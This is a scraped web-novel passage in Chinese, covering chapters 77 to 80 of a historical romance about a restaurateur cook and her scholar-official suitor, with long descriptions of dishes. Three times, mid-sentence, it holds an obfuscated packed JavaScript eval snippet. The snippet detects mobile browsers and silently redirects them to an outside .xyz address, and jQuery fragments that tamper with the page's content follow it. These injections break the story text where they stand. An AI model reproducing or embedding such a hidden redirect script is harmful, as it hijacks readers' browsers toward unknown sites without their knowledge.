裙边肥美，肉质更是细嫩至极。 明明精瘦，偏还丰腴鲜香。 肥肉比起它太过油腻，牛蛙比起它都嫌硬弹。 河鱼虽得其口感，滋味又不敌它鲜香。 后世有人专门剥了甲鱼的裙边，拆了蟹粉，烩作一锅，美其名曰“素粉皮”。 鲜味虽盛，蓝锦却不敢苟同。 雅好饮食的袁枚也谆谆谈过，味道太过有浓烈的食材，最好单独彰显它的个性。 甲鱼、蟹粉、海参、鱼翅之流，还是不要相配。 不过，不同于袁枚“专取其裙而不知味在肉中”的品评，蓝锦却很能理解单用裙边的吃法。 ——滑糯醇鲜，软而无骨，懒人最爱。 揭了壳子，红烧过的酱汁，缀在肥嘟嘟、软嫩嫩的裙边上。 嘬上一口，裙边上的胶质糯得糊嘴。忠实地将万般复杂味型，都裹在其中。 在嘴里嚼得越久，越能品到裙边自身独有的荤鲜。 弹、嫩、香、软。这种口感的食材里头，只怕燕窝、金耳也难以匹敌。 “锦娘，锦娘！” 安琴唤了蓝锦许多声，才得她一个回头。 “琴姐姐”，蓝锦擦洗了手，笑着喊她，“斩骨的声音太大，我没听见。” “只怕是脑袋里头的声音太大，都听不见我的声音了。” 安琴一点她的额头。 “做着菜还出神，小心伤了手！说罢，是想好吃的，还是想什么人？” 两样都有。 好一个乱人心绪的探花郎。 就不怕是裙边配蟹粉，瞎点鸳鸯谱，乱了套了吗！ 蓝锦吐吐舌头，只道：“我有分寸的。” 安琴将人拉走：“来，跟我说说罢。我们锦娘的生意做得正红火，单是天都三家店的流水，看都看不过来，不知多少人钦佩歆羡。” “做什么还郁郁不乐的？可是那个萧郎君，对你说了什么？” “他不许你开店，怕清贵人沾上商女？怎么蒋家的干亲，突然就不认了？” 77. 第77章 面对安琴的发问，像是怕她误会了去，蓝锦忙解释道： “这却没有，是我自己跟蒋姨母说的，还是作罢了好。” “原也是为着母亲，其实也不必生出这些风波......” 安琴眯起了眼，下巴一点：“可是那个萧家二郎求你推拒的？” 蓝锦满脸不可置信：“琴姐姐你怎么什么都知道？” 安琴笑出了声：“我还当是什么新鲜故事。姓萧的那小子可真沉得住气，忍到今天才跟你挑破！” “他不愿叫家里认干亲，心心念念想求娶你过门，对也不对？” 安琴凑到蓝锦的脸侧。放大的笑颜，促狭的热气，呼得人面颊发痒。 蓝锦也无可畏了。只理直气壮道：“我也不知他怎么突然有了这个意思！大家不过是聊聊天，吃吃饭，谁知现在......” 安琴一语道破：“我的锦娘，你傻呀！平白无故的，谁有那个功夫总来找你说话，是有多闲啊。” 蓝锦仍是有些踌躇：“我心里总有些顾虑......” 就像冬日里的冰。晶澈纯净的质地，硬生生拔高了它的身价，好似世间罕有。 可冰是不能攥在手中的。 时移世异，生怕一张开手，已悄然化成了水，与当初大相径庭。 更何况，这是一个没有冰箱的时代。 是徐蓝瑾的时代，不是蓝锦的时代。 安琴语气柔缓：“你还记得顾知吧？” 蓝锦点点头。 “他呀，真的是个呆头鹅。好容易金榜题名，我们本说好在天都见面。” “谁知他一刻也等不及，竟连跟同榜交游都顾不上。匆匆飞鸽递了信，又亲自走水路去昭应接我，倒跟我岔开了。” “当初也是这般冒失......受了所谓萧海商的刺激，也顾不得自怨自艾了，背着书箧一径去备考了。” 蓝锦瞧着安琴染了红晕的面容，这才恍然：“原来你们......什么时候的事啊？” “新近的事。回了家，我原本只一心打理药铺。有天一开门，瞧见一个呆里呆气的书生，在那守了一夜！” “见了我就问，‘琴姐姐，这一向可好’。我有什么不好！倒是他，面黄肌瘦的。” “也不知是打听了多少人，才打听得我家铺子。” “也不愿进门，就只说叫我一定等他，这次必然高中。信心倒足，跟从前全然两样。” 蓝锦好奇地追问：“然后呢，就这么走啦？” 安琴应是：“嗯，就这么走了。” “他，他这不行啊，哪有这般叫人空等的？” 安琴一搡她的肩膀：“你还不是不清不楚地叫旁人空等。” 蓝锦一脑门子官司：“这不一样吧......” “哦？那你在这烦忧什么？无意便休，直截了当，断了往来，抛到脑后。舍不舍得？” 蓝锦叫她问住了：“可好多事情都没弄清楚。我，我还是觉得挺不真实的......” 安琴倒是正色道： “锦娘，你瞧我。捡回了一条命，寻得了双亲，开上了天都的药铺。” “现下，有个看着顺眼的小书生，非要给我挣诰命。” “从前，我给人家呼来喝去，哪能想到这些？” 蓝锦只觉得心里有两个小人打架。 白色小人咯咯笑，我一生行善积德，好男人是我应得的。 黑色小人举着恶魔叉，你敢吗？儒家权臣，贵族宗妇。 若是一地鸡毛，只怕要追悔余生。 安琴看着蓝锦的神色，继续道： “世事无常得很。接手药铺后，我也见过许多病人。有吝啬了一辈子的守财奴，到了，钱也带不进棺材的。” “也有一心求长生养身，返老还童，求得疯魔了的。” “人活在世上，怎会没有七情六欲。你何必把自己限在框子里。忘了你是锦娘吗？” 蓝锦骤然得了提醒。是极。 就算未来不可知，难道她就不是她，就丧失创造幸福的能力了吗？ 蓝锦眉头舒展，俨然换了一副姐妹私话的神情：“琴姐姐，你瞧他行吗？” 安琴笑得欢畅：“锦娘，不要偷懒！个中滋味，只有亲历的人才知道。我说了不算，要用你的心啊。” * “掌柜的！萧家送了鱼来，特地说了是萧翰林嘱咐，专给您带的。” 麻油封住的冰桶里，是一尾尾今夏上市的鲥鱼。 虽非鲜活，却也是百里一换冰，远道运来的。 蓝锦看着这些肥美的鲥鱼，心里五味杂陈，想起在河畔小摊的事来。 那时候不过随口一提，他竟回去仔细打听了是什么鱼，巴巴地给她送来了。 古往今来，多少人恨鲥鱼多刺。多刺也要吃，当知其美味惑人。 鱼身斜切了口子，嵌了火腿，又如罗汉面筋一般摆上一圈菇。一些花雕，清蒸而已。 其鳞有脂，不能去除。待它遇热融化，脂溢肉间，其鲜其腴，不可名状。 蓝锦掐好了时候，特意等人下值的时辰出菜。 却没有去大厅里等，仍然在上回的厢房里一个人猫着。 萧仁禹得了安琴的示意，轻手轻脚地叩开了厢房的门。 “锦娘，可曾尝过鲥鱼？如今时令有些晚了，不知是不是你上回惦记的味道。” 蓝锦大方笑道：“你同我一起来尝尝，不就知道了。” 萧仁禹脚步一顿，旋即惊喜地笑了。 席间还有一份红烧团头鲂，细嫩肥美。 又有江鮰鱼，也是肉质甘鲜，没有小叉刺。 它吃起来极似河豚，却没有河豚的毒性。 真正是肤如琼脂，入口即化。 二人默默无言地相对，彷佛各自踏在云里。 萧仁禹只是笑，蓝锦也莫名喜滋滋的。 路过的蚂蚁都要停下搬家，叫这里的粉红泡泡酸得左脚绊右脚。 萧仁禹几次想讲什么，却又觉得头晕晕的。 像叫蓝小娘子下了蛊，只看着锦娘吃鱼，自己不下筷子。 蓝锦倒是笑道：“怎么不吃？兴师动众，好容易运来的鲥鱼。若是不吃，就太可惜了。” 萧仁禹找回了自己的声音：“锦娘吃着好，当然就没什么可惜的。” 蓝锦拿着大勺，与他夹了一大片鲥鱼脊背。 “喏，都道河鱼肚腹最佳，肥甘丰润。告诉你一个秘密，鲥鱼背才是最好吃的。你尝尝？” 萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586990|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仁禹彷佛得了圣旨，当下拿起筷子，细心地品味着锦娘亲自夹的鱼。殊荣美味过鱼肉。 蓝锦笑眯眯地看着他。 官服绯袍，明明像一个高不可攀的贵公子，现下却像一个只听一人摆布的小猫咪。 她忍不住逗他：“吃了我的鱼，那就是我的人了。你同意还是不同意？” 萧仁禹险些呛住。不慌不忙地重握局势：“锦娘的长命锁，我也有一只。” “梁家打了锁之后，叫我母亲看到了，便依样打了一枚，和锦娘的那枚作了交换。” 他慢条斯理地翻出腰间的荷包，拿出一枚足金镂花的长命锁。 “家母关于婚约作罢的戏言实不可信。我从一开始，就是锦娘的人。” 果真，上头也有两尾鱼，其间也有一只小狮子脚踏金莲的。 底下两扇大翅膀托着，好像愿它振翅高飞。 蓝锦心思几经流转，自家脖子上的长命锁并未刻意避人。 在落霞村那会，起居坐卧，难免露出。 她问得也是又直接又含蓄：“原来你一开始就知道我不是瑾娘？” 萧仁禹却听懂了：“第一眼模模糊糊地起过疑。” “我向来讨厌指腹为婚，但偏偏是锦娘救了我。” “可据我观察，你实在不像天都长大的女娘。” 流落乡村，却靠一手出神入化的厨艺，挽救颓势，尽显旺盛的生命力。 不想着回家就罢了，还能算是不知情。 回到金银窝后，还是张罗着经营酒楼，还把生意越做越大。 见了达官贵人，贩夫走卒，皆是不卑不亢，一视同仁。 好像她游离于这个世界的规则之外，胸中自有丘壑。 蓝锦叹了口气：“瑾娘母女都是可怜人。” 萧仁禹默默点头，不打扰蓝锦剖白。 虽然无可挽回，好在始作俑者已经叫他逐出天都，跌落泥潭。 蓝锦郁郁的，却没有说下去。 萧仁禹会意，只道：“以后日子还长，锦娘想说的时候，再说也不迟。” 蓝锦却有心换个轻松的语气，改一改当下的气氛。 “这是个秘密。我还未想好，如何跟梁老夫人说明。你会帮我守住，对也不对？” “世间永远只有我与锦娘二人知晓。” 蓝锦笑了笑。 “还有，我可不是什么做大家宗妇的材料。执帚奉巾，交游走礼，我一概不会做。” 萧仁禹很高兴，认真道：“这是自然。萧府没有这些。好比我祖母，她自个待在西郊别苑，打猎赛马，难得过来一趟。阖府只有我们母子四人。” “锦娘若喜欢，我们大可置宅另居。至于交际礼仪，那是我的事。只要我站得足够高，许多规矩便限不到我的头上来。我还会接着用功。” 蓝锦笑容漾开，口中却还道：“可我还没同你好好相处过。我又没喜欢过旁的人，怎么分辨是不是要与你成亲？” 萧仁禹忙道：“我也不急。那我们便好好相处。” “就算日后，锦娘变了心，只管逐了我下堂，不必顾虑。” 蓝锦扑哧一声：“我瞧你也没什么执念嘛。” 萧仁禹正色道：“我自然是拼尽全力，不叫锦娘变心。” 78. 第78章 夏蝉的嗡鸣声悄然退场，秋日的凉风旷远无边。 “三厨换大锅灶，一组顶上小炒。” 蓝锦神情严肃，专注地盯着后厨的出菜。 悟雅抱着一摞单子跑来：“娘子，客人比预想的多。只怕二楼厢房不够，一楼大厅也要占上了。” 蓝锦快速翻看，转瞬间做了决定。 “楼里的马车全派上，即刻取些风味糖浆，做了各色饮子，再取些酥油泡螺，放在车上。” “客客气气地同人家致歉，送他们往皇城边的蓝记去，那里应该还有厢房。” 悟雅点头应是，语速也叫蓝小娘子带得快起来： “好在娘子想了什么‘中央厨房’，两家菜色的规程和出品是一样的。” 蓝锦点点头：“菜单子多备几份，你亲去送到吴大娘的手里。她应是今日的轮值总厨，也扛得住此事。” 萧仁禹慢慢踱步到蓝锦身边，递给她一方染了零陵香的帕子： “锦娘不必这样紧张，就叫他们在厅堂里坐着，等上一会就是了。” 蓝锦自然地伸手接过，一擦额间发际的薄汗。 “哪里不必紧张？你还在这说嘴，也不知是哪位大学士，升官的时候不贺，放榜的时候不办。偏偏如今突然想起来大宴宾客，办什么文人宴。” 萧仁禹笑得近乎傻气：“近来高兴。” 蓝锦嗔他一眼：“好在今天没承接什么大宴，好在我开了三家酒楼！” “不然，我们御前红人萧大学士，引来这么些大儒高官。” “一个办不好，只怕都要写诗文。用那春秋笔法，微言大义，讥讽我们蓝记酒楼。坏事传千里！” 萧仁禹笑得温柔：“怎么会。吃了这里的菜，必会如痴如醉，说尽好话。叫蓝记迷得走不动道，从此赖在了这。” 蓝锦笑着把帕子一掷，抛还给他。这人真是顺竿爬。 “只是要劳动萧大学士了。辛苦你两头跑，四处去招待跟你敬酒的人。没办法，谁让你才是升迁之喜的主角？” 萧仁禹悄悄往前一步，轻声细语：“既然锦娘心疼我辛苦，何不唤我一声怀瑾，叫我也有些甜头。” “我不干。正是用餐的时辰，我得忙着吃饭，可不要委屈了自家脾胃。” 蓝锦扶着栏杆，裙裾翩跹，蹦跳着踏上了几节楼梯。 一扭头，对着笑盈盈地傻站着的萧仁禹：“还不快来。” 萧仁禹大步走到蓝锦身边，二人并肩上了楼。 上回那间厢房里特设了小宴，是蓝锦专门下厨做的。 秋日里头，月亮都要比其他时候多几分浪漫的意味，从初秋盼到仲秋，愈盼愈圆满。 这时候鸭子也正肥。好像南方吃鸭子特别多，后世常说没有一只鸭子能走出南京。 烤鸭、盐水鸭，都是鸭子的好归宿。 再往南走一走，闽南的姜母鸭，云南的卤鸭、烤鸭、小刀鸭，或是配上菜，做一道鸭子焖茨菇...... 圆桌中央放着一个朴拙的大砂锅。 蓝锦要去揭盖子，萧仁禹先一步拿过白巾，细心地把还在发烫的盖子搁在远处。 “喏，笋干老鸭煲，酥烂得厉害。尝尝是不是？” 萧仁禹拿着筷子，稍一用力，连皮带肉地扯下鸭肉。蘸上汤汁，先放进蓝锦的碗里。 笋干颜色仍是新鲜的白嫩，略微透着脆嫩的黄。 “我是用淘米水泡洗过的，又是冷水煮发。再炖再浸，开水里头泡着，才能发到这种程度。” “锦娘做什么都有自己的见解，着实聪明绝顶。” 蓝锦挺受用的，像是叫人挠到了痒处的老虎： “这是自然，不然我拿什么来开店？日后我还要把店铺开到大江南北的。” 还暗暗试探：“若是我一直把酒楼放在第一位，你介不介意呀？” 萧仁禹稳稳道：“锦娘想要什么样，我就支持什么样。” 蓝锦抿嘴笑了，继续兴冲冲地讲她的饮食经： “瞧，我这用的鸭子也好。是水里游着长大的，自己捉鱼捉虾，吃水底的螺蛳，肉质一流紧实。” “皮下油脂也不会腥膻，多得难以下咽，是刚刚好。” 这菜虽然是砂锅菜，实际上是一道汤。 汤头里还有火腿的参与。 不能选用于悬挂的位置，也不能选最下头汇聚了全部火腿油的地方。 用于做菜的上方也不行。必须选吊着的猪脚下头一点的位置，皮肉俱佳，油脂也刚好，适宜炖汤。 “火腿我可是好好泡了许久，一定没有过分的油味，也不会过咸。” “不像东街的那家，不舍得损耗，一味省工。所以他们家的生意才叫我夺了来，得亏你没在那边办升迁宴！” 萧仁禹津津有味地听着，不时给锦娘补上一勺汤。 咬下一口火腿，鲜香在唇齿间依恋不去，不油不苦，还揉合了鸭肉的香味。 深黄的鸭子表皮弹糯，咬起来几乎粘口。搭上一片笋干一道嚼，别有一番风味。 “笋干也是集大成者，吸尽了这道菜的鲜美。又脆、润、嫩、甜，依我看，素菜不比火腿和鸭肉逊色。” 蓝锦不禁击节赞叹：“没错！荤素向来是焦不离孟，孟不离焦。” “素菜吸味，增香又添彩。荤食肥甘，提鲜又饱腹。自然是各有功用，谁也抢不得谁的风头。” 这一道大荤之菜，丝毫不觉腻口。汤头表面甚至没有漂着一层厚重的油花。 喝汤的时候，只觉鲜味十足，想象中的油耗味都奇迹般不见了。 面对萧仁禹的疑问，蓝锦神秘道：“我是专门撇去不要了的，还煮了菜叶来吸油。” 这一副分享商业机密的样子，叫萧仁禹很享受。 * 之前主推御宴碗仔翅的时候，蓝记还未惊动天都贵族圈——毕竟都在宴席上吃过了，或是还不至于叫平替版碗仔翅吸引住了。 如是，蓝记是在大众间口耳相传，大火了一把。 可是萧探花特地办的升迁宴一过，事情立即不一样起来。 不管是雅好饮食的大人，还是想趁机巴结萧学士的显贵，都不自觉宣扬起蓝记的妙处来。 为它写诗写文，那还是小事。 更有甚者，要作传立书，记天都尤其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591998|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝记的饮食风尚。 叫蓝锦看来，八成就是后世的“天都饮食图鉴·蓝记篇”。 只有每每便衣来访的翰林院沈伯濂大人，老神在在： “我说什么来着？从前我说要来蓝记饮宴，竟有人嫌它不是老店。如今还不是一转口风，奔走相告了！” 蓝锦笑着赠他一碟水晶肴肉，言说是老客独享的福利。 肴肉切作张张薄片，搁在瓷白盘子里，莹润剔透。 如时下的美人粉面扑胭脂，圆月面上几缕俏红。 姜丝如发，鲜嫩松笼，搭着状似水晶的肉片来吃，只带着一点子盐味。 沈伯濂搁下筷子：“嗯，鲜美！不会过咸，也没有淡得激不出肉味。” 蓝锦笑道：“大人是行家，一言就切中肯綮。” 沈伯濂倒轻声提醒：“掌柜的侍弄得好菜蔬。只不过，古往今来，多少树大招风，欲加之罪？要当心啊。” 蓝锦心里咯噔一下，便知此间有事，正要探问个明白。 沈伯濂却露出一张八卦面：“怀瑾那孩子，是不是常来蓝记吃饭，与你熟得很啊？” 不知怎的，蓝锦突然有了一种偷偷恋爱，叫师长抓个正着的窘迫。 “这个......闲暇时分，倒是常来造访......” “怪不得。二皇子一向要敬他为师的，怎么突然拿饮食上的事，去圣人跟前上眼药。” “说他骄奢，沉溺私欲，千里万里地运来什么鲥鱼，不见累累白骨遍江河啊。” 蓝锦真切地紧张了。那鲥鱼可是一条不剩，全都送来蓝记，给她吃的呀！ 萧怀瑾不会真的一时冲动，昏了头脑，做些烽火戏诸侯一类的事情吧？ “然后呢？然后如何了？” 今日他还没有来蓝记报道。 蓝锦稍显急切地直接问沈伯濂，也顾不得什么礼仪边界了。 沈伯濂打眼一瞧，自门口走进来的萧仁禹，施施然笑道： “如何，你自去问他。这小子，可不白担了‘萧腹笥’的名号，鬼着呢！” 萧仁禹加快脚步，几步走到蓝锦的身边。 向沈伯濂致礼：“老师。” 他轻轻一拍萧仁禹的肩头，起身离开：“因你的事，叫掌柜的吓着了，你自去开解吧！我就罢手了。” 蓝锦只顾着问萧仁禹：“鲥鱼的事怎么样了？二皇子可有为难你？” 萧仁禹只顾着脸上浮起笑容：“怎会有事，我这不是好端端的，站在你面前吗？” 蓝锦呼吸稍缓：“这到底怎么一回事？早知鲥鱼这般棘手，我就提也不跟你提一下了。” 萧仁禹故作委屈，轻声道：“锦娘这般不相信我，只当我是黄口小儿么？成日只做些没轻没重的事。” 蓝锦作势要捶他，终究收了手，只是“哼”了一下： “你可真会倒打一耙，实在可恶。” 萧仁禹笑容漾开：“对不住。锦娘不必担心，此番是二皇子搬起石头砸自己的脚，惨的是他。” 沈伯濂已经走出了老远，悄悄回头一看—— 两小无猜，绕床弄梅，年轻人！啧啧。 79. 第79章 萧仁禹邀蓝锦上了马车，再慢慢谈鲥鱼的风波。 蒋长昭要在家中设宴，单请蓝锦。 今日七月七，宫里赐了斫饼。 萧仁禹在廊下与众官员拘谨地吃过，现下并没有什么胃口。 他只抽出马车上的小屉，拿出一包洁粉梅子。 上头一层雪花似的霜，含在嘴里酸甜适口，特地给锦娘备的。 蓝锦信手接过：“别再卖关子了，就说说你是如何化险为夷的？” 萧仁禹含笑道：“其实简单极了。那船鲥鱼，是圣人要吃的。我只不过搭了顺风船，借了些零头罢了。” 蓝锦恍然大悟，指尖拈着梅子，笑道：“不知圣人听完二皇子的告状，该是什么神色，心里又想些什么。” 萧仁禹没有多谈，只说张相公看向圣人的神色，很有几分痛心埋怨。 两人相视笑了。 “但我瞧着，那桶鲥鱼份量不少了。如果这还只是零头，不知宫里一夏要消耗多少。” 萧仁禹解释道：“不止是宫里，上行下效，天都的老字号酒肆里，也有许多。只是不在菜单子上。” 蓝锦咂舌：“以后我可不说要吃珍惜食材了。千里漕运，实在是劳民伤财了些。” “其实，最好的还是去当地河畔吃。什么时令，就吃什么应季鲜物。” “倘若我以后店开得更多，银子赚得足够多。就有底气走遍大江南北，走到哪吃到哪了。” 萧仁禹正色道：“锦娘的理想是行万里路，志向宏阔。” 蓝锦扑哧笑了：“我可没有什么宏阔的意图，就是爱吃罢了。唔，人赚银子，不就是为了给自己赚个自由身吗？” “我们萧学士就无法做此想了。你可浑身都是责任，家啊国啊，非得一肩挑了不可。” 萧仁禹默然片刻，想起了年少随师父习武的时候。 师父穆玄清一身功夫出神入化，却神出鬼没，不愿入庙堂。 他说战场惨烈，胜也生灵涂炭，败也哀鸿遍野。 朝堂的厮杀也只是不见刀光罢了。 受师父的影响，他曾经只想做一个仗剑走天涯的江湖侠客。 只是父亲骤然战死沙场，身为世子的大哥挑起大梁。 从此只有远在边境的云麾将军，不见天都萧家大郎。 母亲深受打击，不愿家中再多一块从沙场回来的牌位。 他二话不说，当即放下刀剑，改进书房，昼夜用功。 考科举，中探花，做忠臣，走上一条标标准准的文官道路。 之前，看见叛逆的小妹，扯了支队伍做江湖莽客。 他何尝不是心绪复杂，别有一番唏嘘？ 蓝锦看着萧仁禹的神色，有心逗他：“萧郎君，我瞧着，你和现在的我一样，都挺不自由的。咱们也算同是天涯沦落人，是不是？” “在锦娘面前，已经有难得的放松了。”萧仁禹终究轻笑道。 “哎哟，我们瑾娘！几日不见，怎么好像瘦了？” 蒋长昭三两步迎上来，拉住蓝锦的手不放。 “许是天热，苦夏。姨母胃口可好？我带来了几样开胃的菜蔬，待会与姨母添个菜。” 蓝锦热情地笑着。 “还是瑾娘想着我，贴心贴意的。还不快把清珩叫过来？今日家里有客，就解了一天禁足。” 蒋长昭对身旁的大丫鬟说道。 两人相携走着，把后头缀着的萧仁禹忘得干干净净。 “清珩妹妹与我很是投缘的，小秋还在家中缠着我，见天问清珩阿姐怎么不来找她玩。” “原来是家中有事，叫禁足绊住了。”蓝锦半开玩笑。 蒋长昭叹了一口气，佯怒道：“她就干不出什么叫人放心的事来。” “鼓动了一帮年轻女娘，去外县劫富户。得亏没叫人扭进大牢里。否则，我怎么和人家长辈交待啊！” 蓝锦道：“清珩她心是好的，人也仗义极了。只是行事不羁了些。” “可转念一想，多亏她计划周全，指挥有方，初出茅庐就能全身而退，这可不就是大大的本事吗？” 蒋长昭喜滋滋的：“就你这么欣赏她！” 眼见着萧清珩从后院过来了，脸又板起来：“我也真是拿她没法子！” “别人家女娘闲不住，好歹去做女官。可送她去考女官，也是考得一塌糊涂。” “那三脚猫的功夫，连我都打不过，更别提上战场了。” “哎，若她像你一样，爱开点食肆酒楼什么的，我倒还能承受得起，至少不出天都么。可她......” 萧清珩嘴巴一鼓：“开酒楼是什么简单的事情吗？我连葱和蒜苗都分不清！” 蓝锦拦住蒋长昭，对萧清珩笑道：“蒋姨母不过是想叫你做自己喜欢的，适合的。” 萧清珩功夫叫阿娘嫌弃了，可轻功好得很。 当下蹿得老远：“我要仗剑江湖，她又不高兴！” 蓝锦及时地把话题拉回来： “好啦。我今儿带了糟鹅掌，冷吃又韧又脆，咱们何不去尝尝？配上翠涛酒，想必很有滋味。” 一直缀在后头的萧仁禹全程含笑，看着大掌柜锦娘热心张罗，把母女俩哄得服服帖帖。 他想插嘴又插不上，只与仆从一道，默默拎着大大小小的食盒。 膳食摆得很快。蓝锦夹起一个骨肉缠绵、筋肥肉满的鹅腿，递到蒋长昭的碗里。 “确实跟等闲下酒之物不同，醇厚又清冽，我爱这个滋味。” “这还有我自己腌的酸笋，刚叫厨下拆了些鸡肉，炒的酸笋鸡丁。”蓝锦娓娓道来。 “果真醒胃。”萧清珩扒了一筷子粟米饭，顶上窝了一大块酸笋鸡丁。 吃起来口味鲜冲，直达人天灵盖。 脾性爽利的萧清珩，只觉相当对胃口。 “蓝姐姐，蓝记真的好厉害。如今天都人人都夸菜色好。好像不去蓝记，宴客就不够体面了。” “你是先吃过这么多的菜，才做得出来的吗？那你一定去过很多地方吧？” 萧清珩不知内情，好奇地问。 萧仁禹不动声色地把话题接过：“人人天赋有异，悟性有高低。若是对食材有与生俱来的独到感知，自然能做出旁人不可为的菜色。” “我看，你是想问，能不能叫你也出远门吧？” 萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596686|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清珩叫人戳破，讪讪的：“是又如何，早知我不管那杀不杀生，跟着大哥一道上战场，总好过困在家中！” 蒋长昭一搁筷子，就要皱起眉头。 蓝锦却给她夹了块菱粉糕饼，打圆场道：“清珩是单想出门走走，还是有什么想好了的地方？” “倒没有什么一定要去的地方......我只不愿窝在家里数树上有几片叶子，抬头是方的，低头是方的，无聊得紧！” “出门可是顶辛苦的事。只怕吃也吃不好，睡也睡不安稳。” “和家中不同，出了事都要自己应对。不会一直安逸，总会碰到风险，也没人给你兜底......” 萧清珩认真地听着蓝锦说话。 萧仁禹也看着她，心中莫名心疼。 曾经的锦娘，大概也是这种心情吧？ “蓝姐姐，我不怕吃苦，也不怕危险。兵来将挡，水来土掩罢了！” “小秋同我说了，她的云姐姐和我同岁，竟独自往边境去了！如今都成了领兵的将领。” “我虽功夫不及她好，可志气不比她逊色！” 蒋长昭看着自家女儿眉飞色舞的样子，实际也是欣赏的。 如今人家的家中长辈都在，也不算私下怂恿小孩子。 蓝锦干脆挑明，把自己的打算拿出来一起商量。 “我这里刚好有一桩事。蓝记想建一支自己的水上商队，专司海货。现下正招揽英才，准备试航。” “这事，大公主也支持。不过，虽然有许多水上好手，可是与我亲近的话事人，却还是难寻的。” “须得值得信任，还要不畏风浪，随机应变，因为航线不一定有现成的。而且，还要与各地人马打交道，主要是替我寻觅罕见的新食材。” 自从收到了鲥鱼，蓝锦就在琢磨这件事。 美食行当若想做大做强，交通绝对是重中之重。 没看见圣人要吃些南方鲥鱼，都要忍着张相公的腹诽吗？ 她是商人，把航运攥在自家手里，势必占据主动。 “正巧蒋姨母也在，我便一道跟大家说了此事。此事也不急，你们再慢慢商量。” “若是想去，自去报了名。前期还是以历练为主的。” 大公主想得倒是更远。 她盼着以后有了经验，手头建起自负盈亏的水师。食饷司的军需供应就更加不受人掣肘了。 不过，这还任重道远，都是后话。 萧清珩简直喜出望外：“我吗？蓝姐姐，你当真信任我？我那些姐妹能不能一起去？” 蓝锦笑着点点头：“我自然相信萧大侠的能力，其他女娘们自然同样欢迎。只看你们愿不愿意罢了。” 萧仁禹给蓝锦添了一勺野鸡崽子汤，脸上写满了“锦娘只管专注事业，我一直陪在你身边”。 蓝锦不动声色地瞧他一眼，抿嘴笑了。 拿起银勺来，舀着清爽鲜甜的汤，暖意入腹。 倘若海上航线真的开起来了，再配上硝石制冰、油封、腌制技术，蓝记就能添上不少海鲜。 渤海的螃蟹鲍鱼，东海的鲜贝，南海的龙虾，甚至是难得一见的乌鱼子...... 80. 第80章 时下虽未有严格的宵禁——即便有，按萧仁禹的身份，也能在外自由行走。 然而蒋长昭留了又留，又使人去梁府送信，蓝锦便在萧府的客院歇下了。 席间只顾着说话，兴奋地规划日后的发展，没吃多少饭菜。 特别是有个郎君，似乎怕夹菜太亲昵瞩目，不住地给她盛汤。 汤汤水水的，喝得肚儿圆。 夜色墨一般黑浓。 蓝锦蹑手蹑脚，穿过花园。 幸好她记路的本事不差。 此刻是打算往小厨房去，看能不能寻摸到什么吃的。 她去过的这几家府邸，不管是大长公主府，还是萧府，就算是梁府，她全是对府里的大小厨房最熟门熟路。 梁府的奢华，大长公主府的精致...... 还有萧府的开阔冷清，拿去做火头军的大锅饭也不违和。 蓝锦扑哧一笑，正听得背后刻意放重的脚步声。 “锦娘，还没有休息吗？” 回头一看，正是绕着客院散步的萧仁禹。 蓝锦当即拐走了他。 萧仁禹也叫她带出一副鬼祟模样，一路轻手轻脚走到了小厨房，没有惊动旁人。 明明是在自家，偏偏弄出一种做贼心虚的感觉。 萧仁禹虽则配合，心里只觉好笑。 蓝锦把指头放在唇边： “嘘，不要叫人发现了，我是来做客的，夜半来寻吃的，好生丢人。” “锦娘没有吃饱，是我的不是。怎么会是丢人。” 萧仁禹含笑道。 “总之你好好跟着我就是了。你想吃什么夜宵？唔，让我看看......” 蓝锦四处翻了一下，真是什么现成的都没有。 此间并未掌灯，只有两盏提来探路的灯笼。 旁人看不见她了，她也看不清东西。 一时不察，面勺磕碰到了缸壁，“哐当”一声闷响。 外头值夜的人疑道：“谁在那里？” 蓝锦倏地一下猫矮了身子，向萧仁禹疯狂挥手。 萧仁禹不慌不忙，当下学了一声布谷鸟叫，惟妙惟肖。 蓝锦受了启发，用气音低声道：“哎，鸟雀没这么大气力。” 她提了口气含在胸腔，挤压舌根，发出一声：“喵嗷——” 萧仁禹忍俊不禁，蓝锦却示意叫他也学。萧仁禹叫人扯着衣角，不情不愿地喵了一声。 外头沉默了一会儿，嘟囔道：“原来是猫儿打架，我们走吧......” 等人走远了，蓝锦才扑哧笑出声：“探花郎扮猫儿也精彩，实在出人意料。” 仗着人在黑暗里，萧仁禹的声音还是冷静自持，没有暴露出脸上神情：“锦娘教得好。” 外头人走了。 他把厨房的烛台点上，拿到蓝锦身旁。 蓝锦舀了面粉在大盆里：“你有胃口吗，想吃些什么？” 自然是吃些平时没吃过的东西。 